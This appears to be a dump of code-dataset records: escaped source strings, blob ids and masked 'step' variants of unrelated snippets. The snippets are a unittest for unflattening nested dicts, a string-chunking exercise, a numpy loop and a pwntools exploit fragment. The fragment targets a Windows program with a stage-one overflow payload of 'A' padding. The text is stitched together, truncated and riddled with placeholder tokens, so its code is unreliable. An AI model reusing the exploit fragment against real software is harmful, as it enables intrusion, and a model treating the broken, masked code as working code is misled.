"step-3": "<mask token>\nengine = create_engine('postgresq... | [
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
class RecognizeListsTestCase(unittest.TestCase):
def test_simple(self):
self.assertListEqual(_recognize_lists({(0): 'a', (1): {'b': -1, 'c':
{(0): 'd', (1): -2}}}), ['a', {'b': -1, 'c': ['d', -2]}])
def test_again(self):
self.assertDictEqual(unflatten... | flexible | {
"blob_id": "5119b1b6817e002c870b4d6a19fe9aee661fff7e",
"index": 8425,
"step-1": "<mask token>\n\n\nclass RecognizeListsTestCase(unittest.TestCase):\n\n def test_simple(self):\n self.assertListEqual(_recognize_lists({(0): 'a', (1): {'b': -1, 'c':\n {(0): 'd', (1): -2}}}), ['a', {'b': -1, 'c'... | [
13,
17,
20,
21,
22
] |
def merge_the_tools(string, k):
if(len(string)%k != 0):
exit()
else:
L = []
for i in range(0, len(string), k):
L.append(''.join(list(dict.fromkeys(string[i:i+k]))))
print('\n'.join(L))
if __name__ == '__main__':
string, k = input(), int(input())
merge_the_to... | normal | {
"blob_id": "0004e90622f8b13ec7ce0c1f49e8c8df7ea07269",
"index": 7098,
"step-1": "<mask token>\n",
"step-2": "def merge_the_tools(string, k):\n if len(string) % k != 0:\n exit()\n else:\n L = []\n for i in range(0, len(string), k):\n L.append(''.join(list(dict.fromkeys(str... | [
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
context(arch='amd64', os='windows', log_level='debug')
<|reserved_special_token_0|>
log.info('Enviando estágio 1')
<|reserved_special_token_0|>
payload1 += 'ÿ\x00\x00\x00'
payload1 += 'A' * 255
payload1 += '\n'
<|reserved_special_... | flexible | {
"blob_id": "4fff64a62776a9d1b06cc11d5e55fc00f6787338",
"index": 8128,
"step-1": "<mask token>\n",
"step-2": "<mask token>\ncontext(arch='amd64', os='windows', log_level='debug')\n<mask token>\nlog.info('Enviando estágio 1')\n<mask token>\npayload1 += 'ÿ\\x00\\x00\\x00'\npayload1 += 'A' * 255\npayload1 += '\\n... | [
0,
1,
2,
3,
4
] |
import numpy
d1 = numpy.array([1.,0.,0.])
d2 = numpy.array([0.,1.,0.])
d3 = numpy.array([0.,0.,1.])
s0 = numpy.array([0.,0.,1.])
m2 = numpy.array([1.,0.,0.])
print "x y zeta"
for x in xrange(-100, 101):
for y in xrange(-100, 101):
s = x*d1 + y*d2 + 100*d3
e1 = numpy.cross(s, s0)
e1 /= numpy.linalg.norm(... | normal | {
"blob_id": "3d16f2da03c067d410bec7bfe96d874322533d30",
"index": 6693,
"step-1": "import numpy\n\nd1 = numpy.array([1.,0.,0.])\nd2 = numpy.array([0.,1.,0.])\nd3 = numpy.array([0.,0.,1.])\ns0 = numpy.array([0.,0.,1.])\nm2 = numpy.array([1.,0.,0.])\n\nprint \"x y zeta\"\nfor x in xrange(-100, 101):\n for y in xra... | [
0
] |
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